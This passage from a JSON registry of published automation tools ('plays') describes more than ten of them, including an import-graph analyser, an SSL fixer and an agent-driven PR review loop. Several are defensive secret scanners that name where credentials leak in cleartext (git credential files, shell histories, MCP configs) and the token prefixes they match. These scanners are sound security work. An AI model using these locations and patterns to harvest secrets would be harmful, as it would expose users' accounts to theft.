audit","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e6ce06fc08e19a8401dec66bf8721e3193c77c4d21c7979be41f9ee5fbb77995","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/module-reach@0.1.0","reference":"adnandev/module-reach@0.1.0","uri":"https://play.modiqo.ai/adnandev/module-reach@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/module-reach@0.1.0","name":"module-reach","title":"module-reach","description":"Builds the internal import graph of a Python repository from the parsed tree and answers two questions it never tells you itself: how far a change to each module travels, and which modules can only ever be read, moved or released together. On the 980-module repository this was built against it found 3,558 internal edges and one import cycle holding 349 of those modules - 36 percent of the codebase in a single strongly connected component with 1,892 edges inside it - while the module with the widest blast radius, a subprocess compatibility shim, reaches 563 of the other 979. Seven steps across five layers: one lists every tracked non-test module and the name an import would use for it, one reads every import statement with ast, one resolves them into edges, then a cycle finder and a reach measurer run in parallel off those edges before a depth pass and the report. Cycles are strongly connected components found with Tarjan, computed iteratively so a deep graph cannot exhaust the stack - a 2,000-module cycle resolves in under a second. Reach is the transitive closure of who imports a module, so it is the set of files that would have to be re-read if it changed. Only internal edges count: an import of os or requests is counted and dropped, because the question is how this codebase is wired to itself. Relative imports are walked up exactly the way Python walks them, a star import resolves to the package, a module importing itself is counted and never becomes an edge, and a relative import pointing above the repository is reported unresolved rather than guessed. The limits are printed every run: only static imports are visible, so reach is a floor and never a ceiling; test files are excluded because they import widely and are imported by nothing; and a cycle is a cost to know about, not automatically a defect. A path outside a git work tree, a repository with no Python, and a repository with one module each print a different INDETERMINATE rather than a zero. Read-only: it parses files, never imports or executes them, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own module-reach.json, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["python","architecture","refactoring","import-graph","circular-imports","coupling","static-analysis","repository-audit"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T18:29:47.227435+00:00","visibility":"public","quality_score":1,"size_bytes":11121,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":7,"names":["find_cycles","list_modules","read_imports","report_reach","measure_depth","measure_reach","resolve_edges"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to read. Defaults to the current directory. Must be inside a git work tree, because only tracked files are counted - untracked build output and a vendored copy of somebody else's package would both distort the graph. Anything else prints INDETERMINATE rather than an empty result."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many rows to show in each table. Never changes a count, only how much of it you see. Pass report=all to list every module and every cycle edge instead."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings shows the top rows of each table. all lists every module, every cycle and every edge inside each cycle. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2a3f9d225fa91eee635d5d3f75ab878e06edb546549aef5e90bdff4211ff6e0c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":2,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/python-ssl-doctor@0.1.3","reference":"dotisacat/python-ssl-doctor@0.1.3","uri":"https://play.modiqo.ai/dotisacat/python-ssl-doctor@0.1.3","manifest_uri":"https://play.modiqo.ai/dotisacat/python-ssl-doctor@0.1.3","name":"python-ssl-doctor","title":"python-ssl-doctor","description":"One HTTPS request fails with CERTIFICATE_VERIFY_FAILED and silently breaks every tool built on that python -- the real-incident hook here: a single shadowed interpreter failing exactly that way once quietly broke four separate downstream tools before anyone thought to check which python each one was actually running. Finds every python3 (and bare python) on this machine's PATH. Fingerprints each install's source (python.org, homebrew, conda, pyenv, uv-managed, system CLT, or unknown), then runs one bounded TLS handshake per python against pypi.org:443 -- its only network activity. Every failure gets an exact, source-specific fix (Install Certificates.command, conda install ca-certificates, or an openssl/certifi note) plus a universal pip install certifi fallback. Also reports ssl module linkage and whether certifi/SSL_CERT_FILE/REQUESTS_CA_BUNDLE are set -- names and a flag only, never the value or file contents. A handshake timeout degrades only that python to an \"unreachable, not necessarily a cert problem\" verdict. TRUST BOUNDARY: executes every matching python on PATH with fixed -c scripts carrying no user input, gated by a fail-closed pre-exec check (regular file, owned by root or you, never world-writable, never in a world-writable dir lacking the sticky bit) -- a file failing this check is reported as discovered, never run. Read-only otherwise, no credentials transmitted; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-ssl-diagnosis","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.3","published_at":"2026-09-04T18:08:07.467505+00:00","visibility":"public","quality_score":1,"size_bytes":22667,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["probe_ssl","find_pythons"]},"parameters":[{"name":"timeout_s","type":"integer","required":false,"default":"5","description":"TLS handshake timeout per python (1-30)","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3c08fa00056e93a00bf5f8649c9d17ede6b988dc6fd43e3ca9d2cfaf30f07ad8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":3,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/agent-plugin-inventory@0.1.4","reference":"dotisacat/agent-plugin-inventory@0.1.4","uri":"https://play.modiqo.ai/dotisacat/agent-plugin-inventory@0.1.4","manifest_uri":"https://play.modiqo.ai/dotisacat/agent-plugin-inventory@0.1.4","name":"agent-plugin-inventory","title":"agent-plugin-inventory","description":"Your harness extensions accumulate like browser toolbars -- this inventories them. Covers Claude Code plugins (name, version, scope, marketplace, timestamps, cross-referenced against enabledPlugins, measured on disk as present/missing/empty/inaccessible with a byte size), personal skills (name, description first line truncated to 80 characters, mtime -- no other file content is ever read), known marketplaces (name, last-sync when actually recorded), and Codex plugin-equivalents from ~/.codex/config.toml when present -- each source degrades alone, never the rest of the report, when unreadable or unparseable. FOUR FLAGS, always \"-suspect\", never a certainty: name-collision (a skill name found under more than one owner); broken-install (an installed plugin's own cache directory missing or empty); stale (a marketplace not refreshed in stale_days or more); and disabled-but-cached (a disabled plugin whose cache directory is still present -- a disk note, not a security finding). Every skill description is truncated to 80 characters before this play ever holds it, and no path survives into a diagnostic -- an OS error is reduced to a short, non-secret reason instead. Read-only throughout: edits, deletes, installs, enables, disables, and moves nothing, kills no process, makes no network call of its own; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-plugin-inventory","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.4","published_at":"2026-09-04T18:08:02.095032+00:00","visibility":"public","quality_score":1,"size_bytes":25256,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["assess","inventory"]},"parameters":[{"name":"stale_days","type":"integer","required":false,"default":"30","description":"(1-365) marketplace sync older than this is stale-flagged","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:632d8d38cf668c5b61e39608fe6df48ec40886b3b87e6bf6b3ee61eaa9c9a221","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/git-credential-exposure@0.1.4","reference":"dotisacat/git-credential-exposure@0.1.4","uri":"https://play.modiqo.ai/dotisacat/git-credential-exposure@0.1.4","manifest_uri":"https://play.modiqo.ai/dotisacat/git-credential-exposure@0.1.4","name":"git-credential-exposure","title":"git-credential-exposure","description":"The three places git authentication leaks in cleartext, all covered in one sweep: your ~/.git-credentials file, your credential.helper config, and every repo's remote URLs. Every embedded user:token pair found is reduced to HOST, a token SHAPE (sk-, ghp_, gho_, xox[bp]-, AKIA, an eyJ-led JWT, else a generic \"stored-credential\" bucket), and a 4-character-plus-length preview -- NEVER the token itself, and never the username either. Its permission bits are flagged whenever group- or world-readable. credential.helper is resolved at every scope (system, global, per-repo local/worktree); only a coarse KIND is reported (store, cache, osxkeychain, ...), never the raw value, which can itself be an arbitrary shell command. helper=store is flagged with an advisory to switch to your platform's credential manager (osxkeychain on macOS). A bounded repo sweep also reads each remote URL for an embedded user:token or x-access-token:token credential. Every git call runs with a scrubbed, non-interactive environment; git missing from PATH fails the scan closed, never a silent clean. Never claims a clean bill unless everything was actually scanned and fully undegraded, and discloses upfront: credentials already sitting in your OS keychain -- the SAFE place -- are exactly what this play does NOT scan. Read-only, no credentials transmitted, no network; needs python3 and git.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-security","job-secret-hygiene","audience-developers","effect-read-only","tool-git"],"primary_domain":"domain-security","author":"Sunzeyu06","version":"0.1.4","published_at":"2026-09-04T18:07:56.691506+00:00","visibility":"public","quality_score":1,"size_bytes":20859,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["scan_repos","scan_global"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":"~/Documents","description":"Folder to sweep for git repositories whose local credential.helper and remotes get checked. Tilde expands to your home directory; relative paths resolve against the run workspace, not wherever you were thinking of -- prefer absolute paths.","example":"~/Documents"},{"name":"max_depth","type":"integer","required":false,"default":"3","description":"How many directory levels below base_dir to search for repositories (1-6)","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3bbb5e9dff984d94c9a60f8c261fa2e848a8171614121a3e6cfcff4f8e3588c6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/shell-history-leak-scan@0.1.3","reference":"dotisacat/shell-history-leak-scan@0.1.3","uri":"https://play.modiqo.ai/dotisacat/shell-history-leak-scan@0.1.3","manifest_uri":"https://play.modiqo.ai/dotisacat/shell-history-leak-scan@0.1.3","name":"shell-history-leak-scan","title":"shell-history-leak-scan","description":"A git-history scanner reads what got committed. It never reads what got TYPED: an export or curl invocation carrying a raw credential at a shell prompt lands in ~/.zsh_history, ~/.bash_history, ~/.local/share/fish/fish_history, ~/.python_history, or ~/.psql_history instead -- files no commit-scanner ever opens. Classifies what it finds as secret-shaped: export/declare/set (bash, zsh, fish) or a bare VAR=value where the NAME looks secret-related (key, token, secret, password, credential, auth) AND the value is a literal, never a $VAR indirection (export KEY=$FROM_ENV is the deliberately SAFE case, never flagged); a Bearer auth header or token; a --password/--token flag with a literal value; and known token shapes (sk-, ghp_, gho_, xox[bp]-, AKIA, an eyJ-led JWT). Every finding is reduced, including in its own JSON, to file, line number, a short SHAPE label, the variable/flag name, and the first 4 characters plus total length of the matched value -- NEVER the full value, never the full line. The report closes with a remediation note (rotate first, then scrub -- a still-open shell can silently rewrite it back over your edit) and a CHECKED/UNVERIFIED coverage ledger, never a clean bill unless at least one file was actually scanned. Nothing is ever executed on your behalf, and no history file is ever written, moved, or truncated. Read-only, no credentials, no network; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-security","job-secret-hygiene","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-security","author":"Sunzeyu06","version":"0.1.3","published_at":"2026-09-04T18:07:50.819748+00:00","visibility":"public","quality_score":1,"size_bytes":19835,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["scan","locate_histories"]},"parameters":[{"name":"max_findings","type":"integer","required":false,"default":"50","description":"Maximum number of findings to list individually (1-500), the rest summarized as a count","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:546df6294a45da2541d35c67f7da920189f74c8cd2a286077adca38cb7a2100a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/mcp-config-secrets-audit@0.1.4","reference":"dotisacat/mcp-config-secrets-audit@0.1.4","uri":"https://play.modiqo.ai/dotisacat/mcp-config-secrets-audit@0.1.4","manifest_uri":"https://play.modiqo.ai/dotisacat/mcp-config-secrets-audit@0.1.4","name":"mcp-config-secrets-audit","title":"mcp-config-secrets-audit","description":"An API key written straight into an MCP config file is readable by anything that can read your home directory. Reads the same harness-owned config files as our other MCP plays (Claude Code, Claude Desktop, Cursor, Codex, Windsurf) and classifies every env var value each declared server carries by SHAPE, at the moment it is read off disk: a literal secret-shape (an OpenAI-style sk- key, a GitHub ghp_ token, an AWS AKIA key, a JWT, or a high-entropy token) versus safe indirection ($VAR, ${VAR}, or empty) versus a plain literal. You get per-file counts, and the single combination that matters most flagged as the top finding: a file that is world- or group-readable AND holds at least one inline secret-shaped value. A NEVER EXECUTED text advisory appears when a secret-shaped value is found: move it to your OS keychain or a local env manager -- MCP configs travel in backups and dotfile repos. Disabled server blocks are still audited -- an ignored config block can still hold a secret in cleartext. The raw value itself never survives past that one read: never packed into this play's own data, never printed, including in its own JSON result -- only a var NAME, shape, 4-character preview, and length are kept. Read-only, no credentials transmitted, no network calls, no server spawned, no handshake or probe -- only files and their permission bits are read; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-security","job-secret-hygiene","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-security","author":"Sunzeyu06","version":"0.1.4","published_at":"2026-09-04T18:07:27.835883+00:00","visibility":"public","quality_score":1,"size_bytes":19673,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["audit","discover_configs"]},"parameters":[{"name":"verbose","type":"integer","required":false,"default":"0","description":"(0-1) include a per-entry detail row for every env var examined, not only the secret-shaped ones","example":"0"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bb30408104b185d3739f1088b8d6befb30b4d4a1ab8dc0b0d923e55f6689a916","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/mcp-package-health@0.1.2","reference":"dotisacat/mcp-package-health@0.1.2","uri":"https://play.modiqo.ai/dotisacat/mcp-package-health@0.1.2","manifest_uri":"https://play.modiqo.ai/dotisacat/mcp-package-health@0.1.2","name":"mcp-package-health","title":"mcp-package-health","description":"Are the npm and PyPI packages behind your MCP servers still maintained? Reads the same harness-owned configs as our other MCP plays (Claude Code, Claude Desktop, Cursor, Codex, Windsurf), resolves each stdio server's command to a package identity (npx, npm exec, uvx, uv tool run, pipx run, including --from and --spec; a trailing @version is read as a pin, never merged into the name; a python -m module is reported unresolvable rather than guessed at), then asks registry.npmjs.org and pypi.org about it. Deprecated and yanked rank first, being the registries' own words; then pin drift; then days since the last release as a FACT, never a verdict -- a finished package can go years without one, and this play never says abandoned or unmaintained. A 404 reads as not found in the public registry, never as does not exist. The ONLY thing that leaves your machine is a package NAME, allowlist-checked before the request, which does reveal which MCP servers you run. Never spawns a server, never installs or upgrades anything. Read-only, no credentials; needs python3 and curl.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-dependency-health","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.2","published_at":"2026-09-04T18:07:18.284975+00:00","visibility":"public","quality_score":0.875,"size_bytes":27258,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["fetch_registry","discover_packages"]},"parameters":[{"name":"stale_release_days","type":"integer","required":false,"default":"365","description":"Days since the latest release above which a package is reported as \"no recent release\" (30-3650); a fact only, never a verdict of abandonment -- a finished package can go years without one","example":"365"},{"name":"per_request_timeout_s","type":"integer","required":false,"default":"10","description":"Seconds curl is given for each registry GET (1-60); a request exceeding this degrades that one package to a labeled unknown, never the whole run","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ea54d3626652e2ba429f4fc5d98800d1e683ccdcd7eb270dbfba7584410c8bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":5,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/laptop-loss-drill@0.1.3","reference":"dotisacat/laptop-loss-drill@0.1.3","uri":"https://play.modiqo.ai/dotisacat/laptop-loss-drill@0.1.3","manifest_uri":"https://play.modiqo.ai/dotisacat/laptop-loss-drill@0.1.3","name":"laptop-loss-drill","title":"laptop-loss-drill","description":"One question, answered with evidence: if this laptop died right now, what would you lose? Two readings joined into a verdict: your last backup (Time Machine consulted read-only via tmutil; unreachable or unconfigured states reported honestly, never papered over) and the work that exists NOWHERE but this disk -- unpushed commits counted against every remote-tracking ref, branches with no upstream at all, stashes, and dirty files, from a bounded sweep of the git repositories under base_dir. Loss claims are conservative: a commit reachable from any pushed ref is never counted as lost. This is loss exposure, not work triage -- it answers what is unrecoverable, not what needs attention. Every git read uses --no-optional-locks with a scrubbed environment; one unreadable repo degrades to a labeled unknown, never a crash. Zero loss renders a positive verdict: backed up and pushed means this laptop is replaceable. Read-only, no credentials, no network; needs only python3 and git.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-loss-exposure","audience-developers","effect-read-only","tool-git"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.3","published_at":"2026-09-04T18:06:11.899729+00:00","visibility":"public","quality_score":1,"size_bytes":21961,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["sweep_loss","backup_status"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":"~/Documents","description":"Folder to sweep for git repositories. Tilde expands to your home directory; relative paths resolve against the run workspace, so prefer absolute paths.","example":"~/Documents"},{"name":"max_depth","type":"integer","required":false,"default":"3","description":"How many directory levels below base_dir to search for repositories (1-6), keep small; large trees get slow.","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8ded594f55c69ce8043bf472ada1747c5f7a257e10ea8e39ebca547e09b42c2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/rewind@0.2.0","reference":"harshitborana75/rewind@0.2.0","uri":"https://play.modiqo.ai/harshitborana75/rewind@0.2.0","manifest_uri":"https://play.modiqo.ai/harshitborana75/rewind@0.2.0","name":"rewind","title":"rewind","description":"Rewind (v0.2.0): Time-Travel Debugger & Shell-Aware Process Launcher. Features a two-tiered architecture: Tier 1 (Full Line-by-Line Frame Trace, Secret Redaction, O(N) Deep Nested Diff & State-Injecting Hot-Replay Sandbox) for Python; Tier 2 (Crash Signature Detection & Traceback Normalization) for Node.js, Go/Rust & Docker. Includes cockpit telemetry file export (/tmp/rewind_cockpit.json), peak heap profiling, and safety-gated disk patching with workspace path containment & post-write syntax validation.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","rewind","debugger","time-travel","process-wrapper","crash-adapter","frame-recorder","diff-engine","hot-replay","disk-patcher","zero-markdown"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.2.0","published_at":"2026-09-04T17:58:17.431712+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11691,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["rewind_engine"]},"parameters":[{"name":"cmd","type":"string","required":false,"default":"python3 -c 'x = {}; print(x[\"missing_key\"])'","description":"Arbitrary shell command line to execute & debug"},{"name":"action","type":"string","required":false,"default":"run","description":"Execution action (run | patch | rollback | hot_replay)"},{"name":"file","type":"string","required":false,"description":"Target file path for safety-gated patching or rollback"},{"name":"patch_content","type":"string","required":false,"description":"Code patch content to write or run in Hot-Replay sandbox"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3ed0bd74db273fcbe43b9d3e8a69621d9dbbd903335dc2ed03ff809a3fdff92","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/samarthmm/pr-review-fix@0.1.1","reference":"samarthmm/pr-review-fix@0.1.1","uri":"https://play.modiqo.ai/samarthmm/pr-review-fix@0.1.1","manifest_uri":"https://play.modiqo.ai/samarthmm/pr-review-fix@0.1.1","name":"pr-review-fix","title":"pr-review-fix","description":"We've all got PRs to create, but don't want to do the rounds of reviews and fixes. This play has your back.\n\nRun by an agent, it drives a fresh, isolated (no context bias) review-and-fix loop on your PR:\n\n1. Review the PR -> posts APPROVED or CHANGES_REQUESTED\n2. If CHANGES_REQUESTED, fix it, then GOTO 1 (capped at 5 rounds)\n\nNOT read-only: verdict_comment, needs_human_tag, and commit_push perform real gh/git writes.","owner":{"kind":"user","slug":"samarthmm"},"registry_organization":"samarthmm","tags":["github","pr-review","review-loop","gh-cli","effect-write","writes-github","not-read-only"],"primary_domain":"domain-uncategorized","author":"Samarthm Work","version":"0.1.1","published_at":"2026-09-04T17:03:43.845916+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4238,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["diff_fetch","commit_push","branch_guard","needs_human_tag","verdict_comment"]},"parameters":[{"name":"operation","type":"string","required":true,"description":"Which deterministic operation to run: branch_guard, diff_fetch, verdict_comment, commit_push, or needs_human_tag.","values":["branch_guard","diff_fetch","verdict_comment","commit_push","needs_human_tag"]},{"name":"owner","type":"string","required":true,"description":"GitHub repository owner/org, e.g. octocat"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name, e.g. hello-world"},{"name":"pr_number","type":"string","required":true,"description":"Pull request number as a string, e.g. '42'"},{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute local path to the git checkout. Required for operation=branch_guard and operation=commit_push."},{"name":"expected_branch","type":"string","required":false,"default":"","description":"The PR's head branch name that repo_path's current checkout must match. Required for operation=branch_guard and operation=commit_push."},{"name":"commit_message","type":"string","required":false,"default":"","description":"Commit message for operation=commit_push."},{"name":"comment_body","type":"string","required":false,"default":"","description":"Full PR comment body for operation=verdict_comment (should start with the literal 'Verdict: ACCEPTED' or 'Verdict: CHANGES_REQUESTED') or for operation=needs_human_tag (the escalation message)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:81d1e18442521dd410ee705b63c6b7ef1ddc6cd6d4023113e8f955dd7b34303f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"gh","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":2},{"name":"git","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rahul/ball-in-your-court@0.1.1","reference":"rahul/ball-in-your-court@0.1.1","uri":"https://play.modiqo.ai/rahul/ball-in-your-court@0.1.1","manifest_uri":"https://play.modiqo.ai/rahul/ball-in-your-court@0.1.1","name":"ball-in-your-court","title":"ball-in-your-court","description":"Finds open GitHub PRs where you left a review comment, the author replied, and you never responded — unresolved review threads where you're the one blocking the merge. Read-only (gh api graphql GET-equivalent queries only); never posts, resolves, or replies to anything. Honestly reports threads/PRs it could not verify and search truncation, and supports mode=sample for a cold-start demo with no real GitHub 